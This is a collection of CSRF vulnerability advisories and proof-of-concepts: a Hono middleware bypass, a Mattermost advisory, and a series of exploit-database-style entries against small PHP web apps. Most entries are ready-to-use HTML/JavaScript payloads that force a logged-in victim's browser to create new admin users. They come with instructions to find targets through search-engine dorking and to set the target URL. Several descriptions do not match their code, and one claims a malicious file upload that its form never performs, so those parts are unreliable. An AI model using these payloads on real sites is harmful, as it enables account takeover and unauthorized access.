### Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

### Details

MIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

### PoC

```html
<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>
```

### Impact

Bypass csrf protection implemented with hono csrf middleware.

### Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.


**Summary**

Hono CSRF middleware can be bypassed using crafted Content-Type header.

**Details**

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

**PoC**

<html\>
  <head\>
    <title\>CSRF Test</title\>
    <script defer\>
      document.addEventListener("DOMContentLoaded", () \=> {
        document.getElementById("btn").addEventListener("click", async () \=> {
          const res \= await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script\>
  </head\>
  <body\>
    <h1\>CSRF Test</h1\>
    <button id\="btn"\>Click me!</button\>
  </body\>
</html\>

**Impact**

Bypass csrf protection implemented with hono csrf middleware.

**Discussion**

I'm not sure that omitting csrf checks for Simple POST request is a good idea.  
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

**References**

*   GHSA-rpfr-3m35-5vx5
*   https://nvd.nist.gov/vuln/detail/CVE-2024-43787
*   honojs/hono@41ce840
*   https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

GHSA-rpfr-3m35-5vx5: Hono CSRF middleware can be bypassed using crafted Content-Type header

Online Survey System version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Online Survey System 1.0 CSRF Vulnerability                                                                                 |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-survey-system_0.zip                     |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This HTML page :

    is a  user registration form that allows users to input a username, password, and upload an avatar image.   
  The form data is then sent via an AJAX request to a server-side script for processing.

[+] Here's a breakdown of how it works:

    HTML Structure

    Form Elements:

          username: A text field where the user can input their username.  
        password: A password field for entering a password.  
        img: A file input for uploading an avatar image (restricted to image file types).

    Save User Button:

          An input element with the type button is used to trigger the saveUser() function when clicked.

[+] JavaScript (AJAX Request)

        AJAX Request:

          An XMLHttpRequest object (xhr) is used to send the form data to a server-side script (Users.php).  
        The request method is POST, and the data is sent to the specified URL.  
        The onload function checks if the request was successful (status code 200). If it was,  
    it alerts the user that the save was successful; otherwise, it alerts the user of an error.

[+]  Backend Requirements :

    The server-side script (Users.php) should be capable of handling the incoming POST request,   
  processing the form data (including saving the file), and returning an appropriate response.

    This form can be improved by adding additional client-side validations, better error handling,   
  and perhaps enhancing security measures, such as sanitizing inputs on the server side.

[+] save code as poc.html 

[+] payload : 

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>User Registration</title>  
</head>  
<body>

    <h2>User Registration</h2>  
    <form id="userForm" enctype="multipart/form-data">  
        <label for="email">Email:</label>  
        <input type="email" id="email" name="email" required><br><br>

        <label for="password">Password:</label>  
        <input type="password" id="password" name="password" required><br><br>

        <input type="button" value="Save User" onclick="saveUser()">  
    </form>

    <script>  
        function saveUser() {  
            var form = document.getElementById('userForm');  
            var formData = new FormData(form);

            var xhr = new XMLHttpRequest();  
            xhr.open("POST", "http://127.0.0.1/survey/ajax.php?action=save_user", true);

            xhr.onload = function () {  
                if (xhr.status === 200) {  
                    alert('User saved successfully');  
                } else {  
                    alert('An error occurred while saving the user');  
                }  
            };

            xhr.send(formData);  
        }  
    </script>

</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Online Survey System 1.0 Cross Site Request Forgery

Online Shopping System Master version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : online shopping system master v1.0 CSRF Vulnerability                                                                       |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |  
| # Vendor    : https://download-media.code-projects.org/2020/04/Online_Shopping_IN_PHP_CSS_JavaScript_AND_MYSQL__FREE_DOWNLOAD.zip         |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code create a new admin .

[+] Go to the line 7.

[+] Set the target site link Save changes and apply . 

[+] infected file : /admin/adduser.php.

[+] save code as poc.html .

<div class="card">  
                <div class="card-header card-header-primary">  
                  <h4 class="card-title">Add Users</h4>  
                  <p class="card-category">Complete User profile</p>  
                </div>  
                <div class="card-body">  
                  <form action="http://127.0.0.1/online-shopping-system-master/admin/adduser.php" method="post" name="form" enctype="multipart/form-data">  
                    <div class="row">

                            </div>  
                      </div>  
                    </div>  
                    <div class="row">  
                      <div class="col-md-6">  
                        <div class="form-group bmd-form-group">  
                          <label class="bmd-label-floating">Email</label>  
                          <input type="email" name="email" id="email" class="form-control" required="">  
                        </div>  
                      </div>  
                      <div class="col-md-6">  
                        <div class="form-group bmd-form-group">  
                          <label class="bmd-label-floating">Password</label>  
                          <input type="password" id="password" name="password" class="form-control" required="">  
                        </div>  
                      </div>

                                        <button type="submit" name="btn_save" id="btn_save" class="btn btn-primary pull-right">Update User</button>  
                    <div class="clearfix"></div>  
                  </form>  
                </div>  
              </div>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Online Shopping System Master 1.0 Cross Site Request Forgery

Online ID Generator version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Online ID Generator 1.0 CSRF Vulnerability                                                                                  |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/id_generator_0.zip                                    |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This HTML page :

    is a  user registration form that allows users to input a username, password, and upload an avatar image.   
  The form data is then sent via an AJAX request to a server-side script for processing.

[+] Here's a breakdown of how it works:

    HTML Structure

    Form Elements:

          username: A text field where the user can input their username.  
        password: A password field for entering a password.  
        img: A file input for uploading an avatar image (restricted to image file types).

    Save User Button:

          An input element with the type button is used to trigger the saveUser() function when clicked.

[+] JavaScript (AJAX Request)

    FormData Object:

          The FormData object is created to hold the form's data, including the file upload.

        AJAX Request:

          An XMLHttpRequest object (xhr) is used to send the form data to a server-side script (Users.php).  
        The request method is POST, and the data is sent to the specified URL.  
        The onload function checks if the request was successful (status code 200). If it was,  
    it alerts the user that the save was successful; otherwise, it alerts the user of an error.

[+]  Backend Requirements :

    The server-side script (Users.php) should be capable of handling the incoming POST request,   
  processing the form data (including saving the file), and returning an appropriate response.

    This form can be improved by adding additional client-side validations, better error handling,   
  and perhaps enhancing security measures, such as sanitizing inputs on the server side.

[+] save code as poc.html 

[+] payload : 

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>User Registration</title>  
</head>  
<body>

    <h2>User Registration</h2>  
    <form id="userForm" enctype="multipart/form-data">  
        <label for="username">Username:</label>  
        <input type="text" id="username" name="username" required><br><br>

        <label for="password">Password:</label>  
        <input type="password" id="password" name="password" required><br><br>

        <label for="img">Avatar:</label>  
        <input type="file" id="img" name="img" accept="image/*"><br><br>

        <input type="button" value="Save User" onclick="saveUser()">  
    </form>

    <script>  
        function saveUser() {  
            var form = document.getElementById('userForm');  
            var formData = new FormData(form);

            var xhr = new XMLHttpRequest();  
            xhr.open("POST", "http://127.0.0.1/id_generator/classes/Users.php?f=save", true);

            xhr.onload = function () {  
                if (xhr.status === 200) {  
                    alert('User saved successfully');  
                } else {  
                    alert('An error occurred while saving the user');  
                }  
            };

            xhr.send(formData);  
        }  
    </script>

</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Online ID Generator 1.0 Cross Site Request Forgery

Mattermost versions 9.9.x <= 9.9.1, 9.5.x <= 9.5.7, 9.10.x <= 9.10.0, 9.8.x <= 9.8.2 fail to sanitize user inputs in the frontend that are used for redirection which allows for a one-click client-side path traversal that is leading to CSRF in User Management page of the system console.

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1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2024-40886

**Mattermost Cross-Site Request Forgery vulnerability**

Moderate severity GitHub Reviewed Published Aug 22, 2024 to the GitHub Advisory Database • Updated Aug 23, 2024

**Package**

gomod github.com/mattermost/mattermost/server/v8 (Go)

**Affected versions**

\>= 9.9.0, < 9.9.2

\>= 9.5.0, < 9.5.8

\>= 9.10.0, < 9.10.1

\>= 9.8.0, < 9.8.3

**Patched versions**

9.9.2

9.5.8

9.10.1

9.8.3

**Description**

Published to the GitHub Advisory Database

Aug 22, 2024

Last updated

Aug 23, 2024

GHSA-hrf9-rm95-fpf3: Mattermost Cross-Site Request Forgery vulnerability

Online Banking System version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Online Banking System 1.0 CSRF Vulnerability                                                                                |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/banking.zip                                           |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This HTML page :

    is a  user registration form that allows users to input a username, password, and upload an avatar image.   
  The form data is then sent via an AJAX request to a server-side script for processing.

[+] Here's a breakdown of how it works:

    HTML Structure

    Form Elements:

          username: A text field where the user can input their username.  
        password: A password field for entering a password.  
        img: A file input for uploading an avatar image (restricted to image file types).

    Save User Button:

          An input element with the type button is used to trigger the saveUser() function when clicked.

[+] JavaScript (AJAX Request)

    FormData Object:

          The FormData object is created to hold the form's data, including the file upload.

        AJAX Request:

          An XMLHttpRequest object (xhr) is used to send the form data to a server-side script (Users.php).  
        The request method is POST, and the data is sent to the specified URL.  
        The onload function checks if the request was successful (status code 200). If it was,  
    it alerts the user that the save was successful; otherwise, it alerts the user of an error.

[+]  Backend Requirements :

    The server-side script (Users.php) should be capable of handling the incoming POST request,   
  processing the form data (including saving the file), and returning an appropriate response.

    This form can be improved by adding additional client-side validations, better error handling,   
  and perhaps enhancing security measures, such as sanitizing inputs on the server side.

[+] save code as poc.html 

[+] payload : 

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>User Registration</title>  
</head>  
<body>

    <h2>User Registration</h2>  
    <form id="userForm" enctype="multipart/form-data">  
        <label for="username">Username:</label>  
        <input type="text" id="username" name="username" required><br><br>

        <label for="password">Password:</label>  
        <input type="password" id="password" name="password" required><br><br>

        <label for="img">Avatar:</label>  
        <input type="file" id="img" name="img" accept="image/*"><br><br>

        <input type="button" value="Save User" onclick="saveUser()">  
    </form>

    <script>  
        function saveUser() {  
            var form = document.getElementById('userForm');  
            var formData = new FormData(form);

            var xhr = new XMLHttpRequest();  
            xhr.open("POST", "http://127.0.0.1/banking/classes/Users.php?f=save", true);

            xhr.onload = function () {  
                if (xhr.status === 200) {  
                    alert('User saved successfully');  
                } else {  
                    alert('An error occurred while saving the user');  
                }  
            };

            xhr.send(formData);  
        }  
    </script>

</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Online Banking System 1.0 Cross Site Request Forgery

Music Gallery Site version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Music Gallery Site v1.0 CSRF Vulnerability                                                                                  |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-music.zip                                         |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following JavaScript code :

   creating a POST request using JavaScript to send certain data to a local server via HTTP. Here are the key points:

[+] Create an XMLHttpRequest object:

    xhr = new XMLHttpRequest(); Creates an XMLHttpRequest object that is used to send requests to the server.

[+] Open the request:

    xhr.open("POST", "http://127.0.0.1/php-music/classes/Users.php?f=save", true); Opens a connection to the specified URL (in this case, a local server) using the HTTP method "POST".

[+] Set the request headers:

    xhr.setRequestHeader("Accept", "*/*"); Specifies that the request accepts any type of response.  
    xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); Specifies that the request accepts responses in English.  
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------"); Specifies the content type of the request as multipart/form-data with specified boundaries.

[+] Enable sending cookies:

    xhr.withCredentials = true; Specifies that cookies should be sent with the request.

[+] Setting up the request data:

    The body is set up using a string containing the form data parts. Each part contains information such as username, password, and type.

    This string is converted to a Uint8Array and then to a Blob to be sent.

[+] Sending the request:

    xhr.send(new Blob([aBody])); Sends the data to the server.

[+] User Interface:  
    There is a button inside the HTML form that calls the submitRequest() function when clicked, which executes the request.

[+] Go to the line 6. Set the target site link Save changes and apply . 

[+] infected file : Users.php.

[+] Line 15 : Choose a name     "indoushka".

[+] Line 19 : Choose a password "Hacked".

[+] save code as poc.html 

[+] payload : 

<!DOCTYPE html>   
<html>   
<body>  
 <script> function submitRequest()   
 { var xhr = new XMLHttpRequest();   
 xhr.open("POST", "http:\/\/127.0.0.1\/php-music\/classes\/Users.php?f=save", true);   
 xhr.setRequestHeader("Accept", "*\/*");   
 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");  
 xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------");  
 xhr.withCredentials = true;   
 var body =  
 "-----------------------------\r\n" +   
 "Content-Disposition: form-data; name=\"username\"\r\n" +   
 "\r\n" +   
 "indoushka\r\n" +   
 "-----------------------------\r\n" +   
 "Content-Disposition: form-data; name=\"password\"\r\n" +   
 "\r\n" +   
 "Hacked\r\n" +   
 "-----------------------------\r\n" +   
 "Content-Disposition: form-data; name=\"type\"\r\n" +   
 "\r\n" +   
 "1\r\n" +   
 "-------------------------------\r\n";   
 var aBody = new Uint8Array(body.length);   
 for (var i = 0; i < aBody.length; i++)   
 aBody[i] = body.charCodeAt(i);   
 xhr.send(new Blob([aBody]));   
 }  
 </script>  
 <form action="#">  
 <input type="button" value="Submit request" onclick="submitRequest();" />  
 </form>   
 </body>   
 </html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Music Gallery Site 1.0 Cross Site Request Forgery

Multi-Vendor Online Groceries Management System version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Multi-Vendor Online Groceries Management System 1.0 CSRF Vulnerability                                                      |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/mvogms_2.zip                                          |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This payload add new admin user .

[+] save payload as poc.html 

[+] line 27 Set your target url

[+] payload : 

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>User Registration</title>  
</head>  
<body>

    <h2>User Registration</h2>  
    <form id="userForm" enctype="multipart/form-data">  
        <label for="username">Username:</label>  
        <input type="text" id="username" name="username" required><br><br>

        <label for="password">Password:</label>  
        <input type="password" id="password" name="password" required><br><br>

        <input type="button" value="Save User" onclick="saveUser()">  
    </form>

    <script>  
        function saveUser() {  
            var form = document.getElementById('userForm');  
            var formData = new FormData(form);

            var xhr = new XMLHttpRequest();  
            xhr.open("POST", "http://localhost/mvogms/classes/Users.php?f=save", true);

            xhr.onload = function () {  
                if (xhr.status === 200) {  
                    alert('User saved successfully');  
                } else {  
                    alert('An error occurred while saving the user');  
                }  
            };

            xhr.send(formData);  
        }  
    </script>

</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Multi-Vendor Online Groceries Management System 1.0 Cross Site Request Forgery

Medical Center Portal version 1.0 suffers from a cross site request forgery vulnerability.

    =============================================================================================================================================| # Title     : Medical Center Portal 1.0 CSRF Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/medic.zip                                             |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] The following html code uploads a executable malicious file remotely .[+] Go to the line 52.[+] Set the target site link Save changes and apply . [+] save code as poc.html .<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Registration Form</title>    <style>        body {            font-family: Arial, sans-serif;            margin: 20px;            padding: 20px;            max-width: 600px;            background-color: #f4f4f4;            border-radius: 8px;        }        .form-container {            display: flex;            flex-direction: column;        }        .form-group {            margin-bottom: 15px;        }        .form-group label {            font-weight: bold;            margin-bottom: 5px;            display: block;        }        .form-group input, .form-group select {            padding: 8px;            width: 100%;            border: 1px solid #ccc;            border-radius: 4px;        }        .form-group select {            cursor: pointer;        }        .form-group button {            padding: 10px 15px;            background-color: #007bff;            color: white;            border: none;            cursor: pointer;            border-radius: 4px;        }        .form-group button:hover {            background-color: #0056b3;        }    </style></head><body>    <h2>Registration Form</h2>    <form action="http://127.0.0.1/medic/pages/register.php?action=add" method="POST" class="form-container">        <div class="form-group">            <label for="firstname">First Name:</label>            <input type="text" id="firstname" name="firstname" required>        </div>        <div class="form-group">            <label for="nid">National ID (NID):</label>            <input type="text" id="nid" name="nid" required>        </div>        <div class="form-group">            <label for="gender">Gender:</label>            <select id="gender" name="gender" required>                <option value="">Select Gender</option>                <option value="male">Male</option>                <option value="female">Female</option>            </select>        </div>        <div class="form-group">            <label for="email">Email:</label>            <input type="email" id="email" name="email" required>        </div>        <div class="form-group">            <label for="phonenumber">Phone Number:</label>            <input type="text" id="phonenumber" name="phonenumber" required>        </div>        <div class="form-group">            <label for="jobs">Job:</label>            <select id="jobs" name="jobs" required>                <option value="">Select Job</option>                <option value="doctor">Doctor</option>                <option value="nurse">Nurse</option>                <option value="pharmacist">Pharmacist</option>            </select>        </div>        <div class="form-group">            <label for="province">Province:</label>            <select id="province" name="province" required>                <option value="">Select Province</option>                <option value="province1">Province 1</option>                <option value="province2">Province 2</option>                <option value="province3">Province 3</option>            </select>        </div>        <div class="form-group">            <label for="city">City:</label>            <select id="city" name="city" required>                <option value="">Select City</option>                <option value="city1">City 1</option>                <option value="city2">City 2</option>                <option value="city3">City 3</option>            </select>        </div>        <div class="form-group">            <label for="username">Username:</label>            <input type="text" id="username" name="username" required>        </div>        <div class="form-group">            <label for="password">Password:</label>            <input type="password" id="password" name="password" required>        </div>        <div class="form-group">            <button type="submit">Register</button>        </div>    </form></body></html>Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Medical Center Portal 1.0 Cross Site Request Forgery

Event Registration and Attendance System version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Event Registration and Attendance System 1.0 CSRF Vulnerability                                                             |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/online-news-portal.zip                                |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

  [+] Line 27 : Set your target url

[+] save payload as poc.html 

[+] payload : 

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>User Registration</title>  
</head>  
<body>

    <h2>User Registration</h2>  
    <form id="userForm" enctype="multipart/form-data">  
        <label for="username">User Name:</label>  
        <input type="username" id="username" name="username" required><br><br>

        <label for="password">Password:</label>  
        <input type="password" id="password" name="password" required><br><br>

        <input type="button" value="Save User" onclick="saveUser()">  
    </form>

    <script>  
        function saveUser() {  
            var form = document.getElementById('userForm');  
            var formData = new FormData(form);

            var xhr = new XMLHttpRequest();  
            xhr.open("POST", "http://127.0.0.1/news_portal/admin/ajax.php?action=save_user", true);

            xhr.onload = function () {  
                if (xhr.status === 200) {  
                    alert('User saved successfully');  
                } else {  
                    alert('An error occurred while saving the user');  
                }  
            };

            xhr.send(formData);  
        }  
    </script>

</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Tag

#csrf